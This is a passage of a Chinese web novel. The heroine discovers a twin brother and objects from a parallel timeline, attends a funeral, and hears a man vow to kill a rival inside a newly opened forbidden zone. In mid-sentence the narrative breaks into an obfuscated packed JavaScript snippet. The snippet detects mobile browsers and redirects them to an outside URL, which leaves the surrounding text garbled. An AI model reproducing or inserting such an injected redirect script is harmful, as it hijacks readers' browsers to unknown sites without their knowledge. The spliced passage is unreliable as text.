他表情恢复正常,冰冷到极点,看上去倒有一丁点和司空晏的阴柔重叠,但下一秒他就抬起脸正回身体,拉开了和林北柔的距离。 魏瑕:“刚才那个不是我。” 他没有必要解释,也不打算解释,不知道为什么还是说了这一句。 林北柔还在被支离破碎的一小段记忆冲击,听到他这么说,顿时脑补了一大堆,比如魏瑕有人格分裂之类。 并不宽敞的后座,容纳了魏瑕和她,尤其魏瑕身形修长,空间就更有限了,他身上只有幽淡得像昏暝山谷的气息,透明到没有任何温度,拂在皮肤上有微风的错觉,细细的,黑暗中,林北柔的膝盖碰到了他的。 林北柔战栗了一下,视野逐渐恢复,仪表盘的电蓝冷光,让她想起了刚才看到的雷暴。 居然真的舔下眼睛就好了。 那对方就不是为了戏弄她还是什么的,这一下子挨得岂不冤? 林北柔马上说:“对不起,不是故意——” 话还没说话,一个既不是她也不是魏瑕的声音就响了起来,准确说,是同时响起在他们意识中,也同时响起在了许多个境内和灵脉有过接触的修行者脑海中。 以意识振动的波,以点连线,传递到无数修行者耳中。 这声音像海上的洪钟,听不出任何特征,唯有意思特别清晰:“自创世纪以来第一次,我们成功打破了绝对禁区的结界层,这是我们驿路会、先知众、应劫派等同道一起在漫长黑暗中深耕细作的结果,我们知道,世界上有很多其他兄弟姐妹,并不赞成我们,没关系,我们会让所有人看到我们能看到的未来,一个不再有战争、流离失所、资源分配不公的新纪元。” 林北柔完全没听懂这是什么意思,只觉得好像很宏大,她看向魏瑕,然后吓了一跳。 魏瑕侧脸看向前方似乎一个虚空点,两边脸的神情有一点不一样,一半无悲无喜,一半有点阴柔。 他听到这个声音好像一点也不意外,不知道在想什么。 那声音还在继续:“一个月后的凌晨零点零分开始,灵脉绝对禁区将限时对全世界非凡者,或者说修行者开放,持续九天九夜,所有人都站在平等的起跑线上,一旦进入禁区,每人都将对自己负起责任,祝各位武运昌隆。” 传音戛然而止,只剩海上钟声发出回响。 林北柔:“那是什么?” 魏瑕转向她:“你想去吗?” 林北柔:“去什么,他说的那个什么禁区?” 魏瑕:“去的话,你会实现你最想实现的愿望,在禁区最底层,人类最狂妄的梦想也会被实现。” 林北柔一听就觉得像传销:“……难道就没有代价吗?” 魏瑕:“你进入以后,路上遇到的每一个人,都会想要你的命。” 林北柔懂了,这估计是什么寻宝大逃杀,不过和她没有关系,信誓旦旦地说:“我当然不会去,我去干嘛啊。” 魏瑕望着她:“你知道就好,你就待在家里,好好过你自己的生活就可以了。” 林北柔还是觉得哪里怪怪的。 雷暴持续了一个多小时,市民短信不停发出,提醒广大市民注意安全,期间林北柔又睡着了,做了个乱梦,醒来时魏瑕已经把她送到小区外面了。 林北柔恋恋不舍地望着副驾驶座:“这只兔子,我抱走吧?” 魏瑕面不改色心不跳:“它有主人。” 刚才他夺回身体控制权时,全力压制了司空晏,司空晏的精神体现在在沉睡,暂时醒不过来,不然一定会发疯要跟林北柔走。 魏瑕总觉得,司空晏还在计划什么,并且没有让他知道。 司空晏是个不可预料的人,就连他自己在随手下子时,也不知道他自己一时兴起下一步是什么样的。 林北柔只好放弃了,不甘心地问:“它主人是谁?” 魏瑕:“你不认识。” 林北柔无话可说,临走前轻轻摸了摸兔子柔软轻盈蓬密的毛毛。 “拜拜,小兔子。” 林北柔下了车,朝魏瑕挥挥手:“再见,呃,魏瑕。” 她本来想说有事再联系,想想果断没有说出口。 不知道为什么,一想到不用再跟他联系,林北柔就有点如释负重。 这个人绝对不简单。 魏瑕没有说话,也没有笑,更没有发动车子离开,就这样静静注视着她,林北柔不自在地转过身,加快脚步进了小区,余光瞥了下,果然魏瑕还在车里望着她,林北柔连忙回过身匆匆走了。 到了家后,林子倩女士已经回来了,换上普普通通的家居服,在家居光线中,也是十分耐看,就算是老阿姨,也是会让人觉得是中老年模特的老阿姨,符合众人那种优雅老去的期待,林北柔就是因为这一点,从小就特别警惕出现在她老妈周围的一切适龄男性,不管对方条件如何,林北柔对对方都只有抵触。 “我看新闻说是什么罕见地磁暴,说是暴雨红色预警,妈先帮你把你那阳台上窗子关了……”林子倩匆匆要去她卧室。 林北柔打了个激灵:“我自己来,你别进我房间!” 她想起她买的小玩具还在抽屉里呢,别人进她房间,总觉得特别不自在。 林北柔去了卧室,关窗时看到两个东西掉在阳台上,分别捡了起来。 第一件东西是一张照片。 当林北柔看清照片上她自己和那个并肩而立的女生时,彻底愣住了。 这是她朋友,问题是她在五年前就意外去世了。 林北柔对这张照片无比陌生,她没有去过这个游乐园,更没有和朋友在这里合照过。 那张照片的日期,是今天。 林北柔的反应,是去看第二件东西。 一张医学出生证明,上面的名字不是她,是周阆屿,林北柔的亲爹就姓周。 林北柔视线往下滑。 母亲和父亲姓名一栏,是她自己的亲妈和亲爹。 并且,周阆屿和她同年同月同日生。 林北柔脑子一晕,零零散散闪过很多模糊的画面,她之前确实和周阆屿接触过,周阆屿对她的关心不像普通朋友。 难道周阆屿本人早就知道了。 所以高中同桌时,他听到她随口表白,才面无表情秒拒,甚至还消失了一段时间,其实是吓坏了吗。 怎么会有这么荒谬狗血的事情?! 世界好像不再是原来的样子,而是变得光怪陆离,十分怪诞。 林北柔无法解释这两个东西的存在,但它们更不可能是恶作剧的产物,因为太正规了。 林北柔站起来,把出生证明折了两下捏在手里去了厨房,林子倩正在忙忙地准备晚饭,听到她脚步声头也不回:“晚上想吃南瓜小米粥还是皮蛋瘦肉粥?” 林北柔:“我是不是还有个哥哥?” 林子倩眼睛都瞪成了铜铃,愕然几秒,并没有很惊慌,她大概觉得是大姨说漏嘴告诉了林北柔表姐,表姐又告诉了林北柔。 林子倩表情缓了缓:“你出生时是有个双胞胎哥哥,不过你们两个都早产,他在保温箱里没挺过去。” 林子倩没有多少伤心的意思,她生产前医生就提醒过她,她也做好了心理准备,当时肯定是伤心的,现在这么久了,也就放下了。 林北柔表情怪怪的。 林子倩理解错了意思,安抚孩子:“都那么多年了,宝宝你问这个干啥,你不问我都想不起来。” 林北柔想说我觉得我哥哥应该没死。 这是一件很好的消息,非常非常好的消息。 她又多了一个亲人,老妈也多了一个亲人,真正的亲人。 一股微妙的、后知后觉的喜悦,好像开花了一样在心头淡淡地绽放散开。 林北柔:“那个……我有出生证明吗?” 林子倩终于把厨具放下了:“这什么问题,你当然有啊。” 林北柔:“那我的那个……哥哥呢?” 林子倩有点奇怪了:“现在出生证明要出院了才能办,当然不会有啦,谁跟你说这些的,你大姨?你问这个干什么?” 林北柔:“我哥——” 还活着三个字还没说完,厨房置物架上林子倩的手机就响了起来。 林北柔只来得及看清来电显示“老许”两个字,林子倩就接起了电话。 林北柔是失忆了,偏偏她老妈谈了恋爱了这件事她没忘。 林北柔控制不住自己不去翻白眼,只能深深闭上眼,稍微扭过头,再缓慢把眼睛睁开一条缝,迅速溜出厨房,避免听到什么通话给自己留下阴影,大脑不受控,要冷不丁回忆一下。 身后传来一声巨大的响声,响到林北柔打了个哆嗦,她愕然回身,看到林子倩不小心把一口锅打翻了,林子倩却像看不到一样,愣愣地两只手抓着手机,听着,手机里传出一声不大却很清楚的声音。 不是男的,是一个中年妇女哭到不能自已的声音。 林北柔不认识这个声音,她只听表姐提起过,好像那个和林子倩在交往的许教授还有个亲姐姐。 “子倩,老许和我侄女出事了!” 林子倩带上包出门了。 她和那个许教授交往也才一年,说不上多深的感情,但毕竟是打算长久处着过日子的关系,林北柔本来想跟着去,林子倩让她好好待在家里。 林北柔:“你一个人去不行!” 林子倩眼神惶恐但坚决:“我叫了你大姨了,她来接我,我们一起过去,你放心。” 她强行打起精神镇定,不愿意女儿掺和进来。 林北柔只能看着她们出门了。 事情发生得太快,她脑子还转不过来,只能一个人待在家里,慢慢捋清思绪,还尝试了冥想,为了找回失去的记忆,结果想着想着,就歪在床上睡着了。 天气热得要死,她旁边有个女生的声音:“冰淇淋要化了。” 林北柔低头,看着自己手里握着的咖啡味巧克力豆蛋卷冰淇淋,又看了看旁边女生的,她没有吃冰淇淋,拿着一把手持电风扇给自己扇风,又给林北柔扇风,圆脸上五官端正,戴了隐形,化了个妆,手法不好不坏,就是个普通女大生的样子,热得龇牙咧嘴的。 游乐园人不少,很多情侣、朋友、一家三口来来往往。 圆脸女生扇了会儿风,开始刷小红书。 林北柔叫了一声她的名字:“陈星云。” “嗯?你干嘛突然叫我大名,吓死人了宝宝。”陈星云头也不抬地答应了声,举起手机对着游乐园人群和点缀了棉花云的晴空拍了一张。 林北柔震惊万分地盯着她好朋友,陈星云脸上的毛孔她都数得清,鲜明真实得不能再真实了。 现在这一刻,时间正在流淌,这是真的。 但怎么可能呢? 陈星云在大二的时候,在自习室通宵复习,然后就昏迷了,送到了ICU,人终是没抢救过来。 和林北柔一样,陈星云也读的临江大学,两个人在不同专业,家庭背景又特别像,父母都是升斗小民,工资不高不低,因此没有多余零花钱的两个大学生经常凑在一起,研究去哪里打工来钱快,又研究哪个购物软件在搞优惠券活动,再不然就是说各种八卦。 林北柔觉得陈星云不愧是她的好朋友,和她特别合得来,两个人都是胸无大志,又天天幻想可以变得很有钱的普通人。 陈星云打开游戏开始玩游戏了。 林北柔不知不觉就把内心OS说了出来:“你不是已经死了吗……” 陈星云:“是啊,这关被打死了好多次,你不是说你哥玩这个很会吗,这个机制怎么过的……” 林北柔:“我哥?” 陈星云:“你亲哥呀,就双胞胎哥哥,你还有几个好哥哥啊嘿嘿。” 林北柔眨了眨眼睛:“我和我哥是从小一起长大的?” 陈星云终于抬头看了她一眼,忧虑地站起来:“你是不是中暑了?还是多走几百米去餐厅吧,那边有空调,就算你有恐音症也去,我带了耳机的……走走走。” 林北柔头晕目眩地被她拉了起来。 在这个世界,陈星云还活着,并且周阆屿和她没有分开,老妈同时带大了他们。 林北柔颤颤地问:“那我爹呢?” 陈星云表情变得很惊恐,一脸“这孩子是不是热出热射病”,手忙脚乱翻找包里:“叔叔不是出差去了吗,你要找他?你别吓我啊!” 林北柔慢慢睁大眼睛。 这个世界,她很好,老妈很好,她还有个哥哥,亲爹也活着,好朋友也活着。 林北柔感觉特别不真实,下意识看了一眼天空,棉花堡一样的云山里,窜出一缕蓝紫色的光。 林北柔:“……” 陈星云把口服液插好了管子怼到她嘴边:“快喝。” 林北柔:“那是什么?” 陈星云:“什么?” 不需要林北柔再回答了,游动的蓝紫色的光,不断窜出,终于地面的游客也注意到了,所有人都停住脚步,仰望天空,或震撼或惊恐或兴奋,很多人开始拍视频,天空很快便暗,白云成了乌云,闪电游弋,人们还在讨论着不明飞行物,迟迟不肯散开。 直到一线蓝紫色电光贯穿了地平线。 伴随震耳欲聋的的爆炸声,那是灵脉结界被炸碎的声音。 画面开始扭曲,加速,林北柔看到了未来十年。 仅仅是十年,世界就走向了末日浩劫。 所有人被提前要求搬迁,大家搬迁到了远离市区的临时安置点,地震就出现了,很多人以前的房子没了,不管是还在还房贷还是刚还完房贷的,全部撕心裂肺到发疯。 林北柔家里住的单元楼受损相对轻一些,修缮后还能住人,但搬家时匆匆忙忙,很多东西不小心遗失了。 那个瞬间,林北柔分明看到,不知是谁打破了时空裂隙,她和陈星云的合照、还有周阆屿的出生证明掉进了那个小小的裂隙。 又神秘地出现在了另外一个时空同一个家的书架上。 一个林北柔最熟悉的时空。 林北柔慢慢睁开眼睛,眼皮重得要死,外面天已经黑了,室内因此一片漆黑,只有手机来电的屏幕光。 林北柔一秒坐起,飞快接了电话:“妈!你在哪!” 林子倩声音很疲惫,也很轻,还带点鼻音和沙哑:“我在市一院ICU外面,许叔叔他……他和他女儿的车被雷暴击中,出了车祸,两个人都没有抢救过来。” 林北柔愣住了,一股凉意从脊背上窜下。 林子倩那边似乎很忙:“我和你大姨留下来帮忙,他们家里其他人在外地,许叔叔的儿子莫衡还在单位,也正在赶过来……你自己买点晚饭吃啊,不要等我们,睡觉前记得把门反锁好,检查下炉灶。” 等林子倩挂了,林北柔在黑暗中怔怔坐了半天,才逐渐反应过来。 林北柔想了起来,前几天她才和那家人吃过饭。 莫衡,就是许教授的儿子,他的妹妹叫什么来着,很开朗健谈的样子。 林北柔只是不高兴老妈谈恋爱,但也不打算干预,更对对方全家没有什么实质性意见。 林北柔根本想象不到短短几天,事情会变成这样。 她茫然地坐了会儿,逐渐感觉到强烈的寒冷,空虚和沮丧。 有种心灰意冷的感觉,说不上想哭,胸口闷得恶心。 这件事是一个变数,未来会造成什么影响,又会开启什么。 未来……会不会变得像梦中一样。 她好像又回到了曾经被自身问题困住的那段灰暗时期,找不到出路,看不到终点,一切都变得不稳定,变得灰蒙蒙的,活着没有了盼头,只想被一记击沉,倒下去,蒙头大睡,永远睡下去。 “嗡——嗡——” 手机振动五十秒自动挂断,林北柔才反应过来,低头去看手机,来电显示周阆屿。 林北柔回拨。 “你在哪里?”周阆屿的声音熟悉又陌生,似乎身心俱疲又如释重负。 差点忘了,这儿还有个疑似她哥哥的。 林北柔动了动眼皮,感觉灰雾散开了一些。 “喂,怎么不说话?”周阆屿语气焦急了些。 过了两秒,林北柔开口了:“我在家,你来找我吧。” 周阆屿很快赶到了。 之前林北柔掉入空间裂缝后,周阆屿就心急如焚动用了法器,带了向光山的人赶到现场,只来得及看到三具尸体,林北柔和魏瑕早就走了。 他用法器感知到林北柔无生命危险,也没有受伤,这才松了口气。 向光山的人还原了现场,发现了魏瑕也在,那三个人是魏瑕杀死的。 周阆屿仔细推导了一番。 孙家为了让林北柔和灵核接触,设了一个陷阱,但没有想到,林北柔和灵核接触时被打断,掉入了空间缝隙。 同一时间,三个域外面具人和魏瑕发生了未知冲突,同样打开了空间缝隙,林北柔被传送到了这里。 会有这么巧吗? 只可能是魏瑕把林北柔拽过来的。 魏瑕杀死了这三个人,带走了林北柔。 尽管林北柔和魏瑕在一起很安全,周阆屿还是想尽快把林北柔带回来。 上司耿江渡沉吟:“不要上报组织,先替孙家瞒下,孙和铃会欠我一个天大人情。” 向光山的人没有上报组织,清理了该清理的线索,悄悄走了。 等组织的外勤调查组赶到现场,只能看见三具身份不明的境外人士尸体。 周阆屿回去途中,也听到了那个向全世界发出宣告和邀请的声音。 回城和上司耿江渡见了一面,处理了孙家搞出的烂摊子,他上司告诉他,从今天起,他务必守在林北柔身边,寸步不离。 林北柔和孙家手里那枚灵核发生了接触,她的元神已经接收了灵核里的馈赠。 纵然她出现失忆,也一定有一天会想起来。 现在,林北柔背后不但有孙家入股,向光山也会站在她身后。 前路未知,他能做到的,也只有尽全力保护好自己的血亲。 更何况,现在不管是孙家,还是耿江渡,还是组织,都更加关注另外一件大事。 “绝对禁区被打破了,一个月后,会有全世界的修行者进入探索,这是一场生死攸关的竞赛,如果我们不能赢,我们就会面临毁灭,”耿江渡轻描淡写说,“你作为五号,一定会出现在组织的进入名单上,你做好准备。” 周阆屿收敛了思绪,按了门铃,门开了。 林北柔站在门口,表情平静:“进来吧。” 亲眼看到林北柔没事,周阆屿长长松了口气。 以为魏瑕也会在,做好了和魏瑕发生正面冲突的准备,没想到到了发现只有林北柔一个人。 林北柔让周阆屿坐了沙发上,帮他倒了水。 周阆屿蹙眉看着她苍白的脸色:“你没事吧,身体有没有哪里不舒服。” 林北柔摇头:“没有,我就是忘了很多事,那个魏瑕……我又不记得他了。” 周阆屿听到她忘了魏瑕,一点不在意,他担心的是林北柔反复失忆,会不会对大脑不太好:“之后我带你去做个身体检查,以防万一。” 林北柔不说话,她有点心不在焉的。 周阆屿:“魏瑕呢?他之前不是跟你在一起?” 林北柔摇头:“把我送回家就走了,他说以后不会再和我联系了。” 周阆屿挑眉,他不相信,不过他现在不想深入讨论魏瑕,既然魏瑕这么说了,以后他再反悔来找林北柔,他让魏瑕走人就是了。 周阆屿长这么大,终于体验到看一切自家水灵灵白菜周围生物如看害虫的感觉。 高中时,他也是私下动用了些关系,让自己调去当了林北柔同桌,防止其他男的骚扰林北柔。 结果没想到林北柔已读乱回就跟他表白了,让周阆屿脑海空白,幸好林北柔也不是认真的。 周阆屿最后悔的就是那段时间,他因为组织上的事去了外地半个月,回来时林北柔被班上的一部分人造谣和孤立。 虽然周阆屿事后整得那些人高考都废了,也不能弥补他一想起这件事就内疚后悔恼火。 林北柔把杯子递给他:“哥哥,喝水。” “嗯……”周阆屿下意识地接了过去,刚喝了半口忽然反应过来,“咳咳咳——” 他呛咳着放下水杯,震惊万分地望着林北柔,张了张嘴,没发出声音,林北柔拿出那张出生证明递给他。 周阆屿接过,安静了半天,才讷讷开口:“你知道了。” 林北柔:“其实,我也很奇怪,为什么你会对我这么好。” 周阆屿慢慢感觉到欣喜,还有强烈的不安,他忐忑望着林北柔:“你没有怪我吗,我是说,你可以怪我,在我面前不要憋着,任何负面情绪都可以发泄出来。” 林北柔:“所以你为什么不一开始就说?你高中就知道了吧?” 周阆屿垂下眼:“对不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128000|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,当时周家控制我控制得很严,我跟你说的话,会暴露你,我不知道他们会做什么对你不利的事情,不过现在都好了,他们已经管不住我了。” 林北柔:“老妈说,她当时怀的双胞胎,但是男孩子在保温箱里就走了,没有出生证明,这是怎么回事?” 周阆屿抬起眼皮:“我当时没有真的死,是周家抱走了我,用另外一个死婴替换了,后来他们替我弄了新的出生证明,但不是这张,你……你是不是还看到那张照片了?” 林北柔拿出那张不存在的照片,她和陈星云的,放在了茶几上。 周阆屿看着那张照片,拿了起来,久久沉默。 林北柔:“这个世界上,还有平行世界吗?” 周阆屿:“理论上来说,是有的,本质上线性时间不存在,因果律会延伸出很多可能,每种可能都会延伸出一种现实。” 林北柔:“那它们为什么会掉进我们在的现实。” 周阆屿:“可能是时空不稳定。” 林北柔:“哪些原因会让时空不稳定?” 周阆屿回想了下他学过的理论知识:“……原因很多,几句话解释不清楚。” 林北柔慢慢说:“我们所在的现实,真的是原来的现实吗,会不会我们这个世界是被修改过很多次的现实?” 周阆屿微微睁大眼睛。 这也是他心里隐约的猜想。 他不想说出来让林北柔担心,没想到林北柔先说出来了。 林北柔继续说:“为什么现实会被修改?被谁修改的?东西是什么?” 空气安静了几秒。 周阆屿找回了重点:“这些,我们暂时都不知道,有件事更重要,你也听到那个声音了对不对,灵脉禁区被打开了。” 林北柔:“和我有什么关系吗?” 周阆屿:“一个月后,我会进禁区,到时候你就在家,哪都别去,我会让向光山的人过来保护你们。” 林北柔的表情终于发生了变化,错愕看向周阆屿:“你要去?” 不等周阆屿回答,林北柔就皱起眉头:“我反对!” 周阆屿也没想到她态度忽然强势:“这是组织的命令,我必须去。” 林北柔:“那我也要去。” 周阆屿:“胡闹,不行。” 林北柔:“刚才,许教授和他女儿去世了。” 周阆屿愣住,半秒才反应过来:“什么?!” 林北柔轻声快速解释了一遍,半个字都不想多说。 周阆屿不知道该说什么,只能慢慢说:“世事无常,就是这样,我今天留下来陪你。” 林北柔根本不听他的:“所以你不准去,你要去我也要去。” 周阆屿头疼,他理解林北柔的心情,但他连他自己都不知道,这次去了是否能回来。 周阆屿紧蹙眉头,板起脸:“不行,这不是开玩笑的,这种话不许再说了,你就留下来陪阿姨。” 林北柔:“哦,叫你一声哥哥,你就开始摆哥哥的架子了。” 周阆屿:“……” 周阆屿拿林北柔没有办法,只好转移话题:“那个,先不要告诉阿姨。” 林北柔:“告诉我妈什么,你没死吗,你是怕自己去了回不来,我妈又要受第二轮打击?” 周阆屿:“……” 他深吸口气,头更痛了。 林北柔纳闷:“话说回来,为什么我们是双胞胎,但长得一点都不像咧?万一其实我们没有血缘关系呢,是不是要去做个亲子鉴定确认一下啊?” 周阆屿没有说话,移开眼神。 林北柔看了他几秒,顿悟:“你是不是早就偷偷做了?” 周阆屿脸上有点红,强自淡定地说:“那也不叫偷偷……我反正征询了你同意,只是没让你知道具体细节。” 林北柔眯眼看着周阆屿,觉得自己对他的校草印象碎得差不多了,原来周阆屿一点也不清冷,也不高冷,反而还有点爱操心。 林北柔不吭声了。 周阆屿被她看得发毛,清了清嗓子,转移话题:“总之,这几天如果阿姨那边要去殡仪馆之类的,我们也得陪着才行,之后你就待在家别乱跑了,最近不太平,不是开玩笑。” 林北柔突然想到了一件事。 - 周阆屿和林北柔一起去了许教授和他女儿的葬礼,主要是跟在林子倩和大姨后面,当一个低调的背景板,同时看顾着两个不知情的中年妇女,在林北柔看来,林子倩有点傻白甜,大姨又有一点楞,必须得照顾着,不然她老妈和逝者这一层关系,万一被有心人士弄出点尴尬情况呢。 周阆屿摇摇头:“不会,再说还有我,你放心。” 林北柔发现,果然,以她普通小市民的心态,确实是多虑了。 到场的人太多了,除了许教授的亲姐姐单独接待了他们,寒暄了一会儿,把他们带去休息,其他人根本没空注意到他们。 轮到告别仪式,只有亲人才能瞻仰遗容,之后棺椁就要盖上特制的绸布。 许教授的前妻早在十多年前就另有家庭,还另外生了子女,她是为了大女儿赶回来的,哭到不能自已,连遗容也不敢看一眼,最后腿软得走不了,是被现任丈夫,一个高大的外国人搀扶着蹒跚走开的,两个混血孩子很懂事地跟在旁边。 林子倩红着眼,扶着大姨,最后对许教授道了一声别,和其他人一样,献上了一支白菊,同样也放了一支在许教授女儿棺椁前。 林北柔和周阆屿跟在后面,也一一照做。 林子倩经常去教堂,告别完之后就默默去了一旁,为逝者祈祷,还拉着大姨一起祈祷。 林北柔密切关注着林子倩,能看出老妈是很伤心,但也没伤心到真失去什么生死挚爱一样,林北柔稍微放心了一点。 周阆屿站在林北柔旁边,他一直耳听六路眼观八方,注意着到场众人里有没有什么可疑人士。 他也会盯着那些和林北柔互动的人,防止任何不安全因素。 这会儿他看到林北柔有点不太习惯地学着她老妈的样子,双手交握,姿势像少女的祈祷一样,皱着眉闭上眼,嘴唇动了动。 周阆屿没有打扰林北柔,林北柔叫了他一声哥哥之后,有什么就不一样了,他感觉更加松弛,更加自在。 如果这不是殡仪馆,他需要收敛神态和心态,他实际上心情会相当好。 周阆屿不经意地转动目光,扫过人群,然后和一双眼睛对上了视线。 那双眼睛疏离,冷漠,带着不带感情的观察,正正落在林北柔身上。 周阆屿顿了半秒,深深皱起眉,跨前半步挡住了对方的视线。 莫衡的视线就移到了他脸上。 周阆屿目前为止,最不喜欢的人是魏瑕。 但最让他感到不舒服的,就是这个莫衡。 莫衡也在组织上做事,周阆屿听说过他的一些事迹。 比如,他本来也是灵脉共鸣者候选人,曾经的天赋比周阆屿还高,是四号的备选。 在一次行动中,他被严重污染了。 这种污染对于修行者来说是致残的。 不是肢体残疾,而是直接斩灭了他们最渴望最珍重的天赋。 很多人背地里议论,说这是一场派系之争,是针对莫衡的阴谋。 怀疑对象,自然是其他灵脉共鸣者候选人,还有他们背后的势力。 周阆屿自己也被怀疑过,为此,耿江渡还专门在述职时郑重澄清了一番。 耿江渡私下告诉周阆屿:“听说莫衡那边,最怀疑的是魏瑕。” 许家的亲戚也都是很有教养和体面的人家,到场的还有很多他的朋友、学生,还有几个白发皑皑的老人,以及陪伴他们来的子女,从其他人对他们的恭敬程度来看,应该是退休干部。 另外还有一部分人,他们和其他人不大一样,穿着军装,沉默寡言,望着另一个和他们衣着相似的年轻人,好像是他的同事或者手下。 这个年轻人是许教授的儿子,也是那位年轻姑娘的哥哥,他和许家的长辈站在最前面,接待着到场的所有人,安静而得体。 来悼唁的人提到他也叹息一声,说小莫年纪轻轻一表人才,听说已在部队上高就,真是大有前途。 其他人迟疑地说,似乎他和他妈妈关系不大好? 他们都看见了,那个不跟父亲姓也不跟母亲姓的年轻人,面对许教授的前妻,也就是自己的母亲,没有什么多余的互动,甚至都没说超过两句话。 前一个听了马上嘘了一声,让他不要说这个了,这是人家的家里事。 林北柔闭着眼睛祈祷完毕。 她刚刚替逝者祷告了,请宇宙和造化主导引逝者,让他们前往安乐之地,还替她老妈和大姨等人祈祷平安健康,最后顿了顿,认真祈祷世界和平。 要不是周阆屿真真切切站在她旁边,最近发生的这些离奇怪事,换林北柔一个人在这里,可能情绪就不一样了。 林北柔睁开眼睛,目光聚焦,迷惑了两秒,问周阆屿:“那个人是谁,他盯着我干什么?” - 魏瑕做了一个梦,梦里,他被抛弃了。 准确说,这不是他的梦,是司空晏的。 还是重复了一百遍的那一套,林北柔倒在了他怀里,想说什么,没有说出来,慢慢闭上眼睛,被他握在手里的手变得单薄软弱,将坠不坠,呼吸和心跳停止的那一刻,身躯泛出灵光,破碎成千万光点,慢慢散逸升空。 连一具金蝉脱壳的蝉蜕都没给他留下。 魏瑕无悲无喜地睁着眼,片刻从床上坐起,墨灰丝绸睡衣系带有些松开了,卧室从某个角度看是正常的,稍微转一个角度,就能看到有一面墙消失了,取而代之的是幽幽闪烁的入口,就像两个八竿子打不着的空间接驳在了一起。 魏瑕走进那个入口,路是向下延伸的,通往一个洞穴一样的地方,冰雾四起的寒池,有五六个标准泳池拼在一起那么大,像半个浅海滩了,深玫红的星辰,点缀在酡颜暮空中,更加奇特,寒池飘着浮碎冰,底下蓝眼泪一样乍明乍暗,有一条蜿蜒的长影一闪而过,轻盈至极。 魏瑕注视着龙灵,也就是司空晏的精神体。 精神体明显心情很好,没有刚刚睡醒发现林北柔不在旁边的愤怒了。 他送了一个梦给魏瑕,因为他们本是一人,所以他知道魏瑕,也就是道心本相,在梦中的所思所想。 杀爱证道,你做得到吗。 那个阴柔轻凉的声音,幽幽荡荡,似乎不怀好意,四面八方窸窸窣窣围过来。 他不是说杀林北柔,而是说道心本相要杀灭司空晏心里的爱意,欲望,那是做不到的。 这是他们之间不死不休的战争。 魏瑕向前走了几步,红色星辰瑰丽的光芒洒落在他幽渺瞳眸中。 ……他做得到。 59. 第 59 章 莫衡把林北柔和周阆屿请到了殡仪馆外面一个僻静的地方。 那是一间茶室,他带来的那些军装人员,很有序地分散在几个点上,形成守卫的阵型。 林北柔不知道该跟他说什么,他们的关系,好像连一句客套的节哀也说不上。 之前,林北柔接到了他的消息,他们之间似乎有一笔交易,莫衡想让她把魏瑕身上有一枚古币的证据交给他。 现在,莫衡好像忘记有这回事一样,脸上十分平静,平静到不正常,还很稳重地让手下泡茶, 手下的泡茶功夫一看就是硬功夫,手不抖,一滴水也没溅出来,手工紫砂壶做工精细,壶嘴流出来的是物理上最标准的层状流动,一点点水声也听不到,入水毫无水花。 林北柔失了个忆,把胜身洲那段全忘了,作为一个最多喝喝夏桑菊金银花的小市民,震惊地看着对方泡茶,注意力都跑偏了。 周阆屿先开口了:“你想跟我们说什么?” 莫衡的手下把茶奉到三人面前就退下了,隔着袅袅茶烟,莫衡抬眼:“周灵君,我们这个世界是被修正过的,是不是。” 灵君是境内对灵脉共鸣者的敬称,特别正式的场合才用,可用姓氏或者排行。 周阆屿瞳孔微微一缩,茶烟掠过,刚好遮去他瞳眸,他也很平淡地反问:“我不知道你是什么意思。” 莫衡:“你避而不答,本身就是一种回答了。” 莫衡没有失忆。 因为天赋特殊,他清楚地记得,在他故意激怒林北柔,想看看她被负面情绪激发出的天赋是什么之后,事态失控了,林北柔自己受到了十分重的反噬,不仅失明,意识也趋于混沌,一切无可挽回,她必然会被基地带走,永远失去自由。 莫衡自己也死在了现场。 有人出手干预了时间。 那人就是杀死他的人。 杀死他不为别的,仅仅因为他伤到了林北柔,也没有任何别的意义,仿佛只是打一只叮人的虫子,连泄愤都算不上。 时间回溯到了十来分钟前,莫衡死而复生,眼睁睁看着发生过的被抹去。 改变时间的就是在场那个人。 当初设计了那场意外,让他被污染的人,果然是魏瑕。 回溯时间,超越人力,只有天道造化才能做到,一个还困在生死里、没有走出时间的人,哪怕他是修行者,也不可能做到。 魏瑕做到了。 莫衡这几天一直在想这到底是为什么。 昨天他在工作时接到了消息,对方语气节制小心翼翼地告诉他,他父亲和妹妹出事了。 模模糊糊中,一个答案浮现,莫衡终于明白了一直以来他寻找的到底是什么。 许家往前再数个一百多年,也是当时鼎有名的修行者世家。 到了六十多年前,许家最后一个有神通的修行者去世,许家从此沦为普通人。 很多世家就这样悄无声息没落。 从修行者降级为普通人,比起权贵被打成庶民,心理落差和冲击更大。 不光许家,周家也面临同样命运,只不过下坡路比许家稍微长一点。 和周家一样,许家不甘心,找了神算,不断尝试,逆天改命,终于得知会有一个子嗣,灵力和天赋会从他的血脉中重生,并前所未有地强大。 许家终于甘心了,默许了血统凋零,回归成普通人,直到莫衡出生。 周阆屿不是坏人,他看到莫衡一天之内失去两个至亲,除了父亲还失去了妹妹,某种程度上周阆屿能共情一部分,不过周阆屿也不是个好拿捏的,能走到这个位置,已经见惯了生离死别,更惨的都见过。 周阆屿淡然说:“你想要什么直接说,是合作,还是别的。” 莫衡:“这次紫宸君的全部候选人,还有其他一些通过核准的修行者都会进入禁区,希望两位在我执行计划时,不要干涉我的行动。” 周阆屿皱起眉:“什么意思,你有什么计划。” 莫衡:“我要杀了魏瑕。” 林北柔正在魂飞天外,这一句一下子把她注意力拉回来,以为自己听错了:“杀人犯法。” 莫衡微微一笑:“可惜,任何国度的现行法规,都没有包括灵脉禁区,法外之地一旦进入,就是战场。” 林北柔难以置信地看着他,不知道他是不是疯了。 周阆屿很平静:“组织不会允许境内修行者自相残杀,再说,就算我们不管你,其他人也会举报你的。” 莫衡:“原来周灵君还不知道?” 周阆屿:“什么?” 莫衡笑了笑:“没什么,想必之后你上司会很快告诉你的,我就当周灵君答应了我的条件了。” 周阆屿看着他,莫衡要对付魏瑕,确实和他没有关系。 